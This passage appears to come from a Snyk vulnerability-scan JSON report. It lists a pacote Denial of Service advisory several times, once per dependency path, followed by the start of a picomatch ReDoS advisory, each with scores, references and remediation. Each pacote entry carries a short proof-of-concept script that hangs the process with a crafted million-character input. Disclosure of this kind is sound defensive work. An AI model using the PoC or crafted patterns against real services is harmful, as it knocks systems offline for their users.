libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| 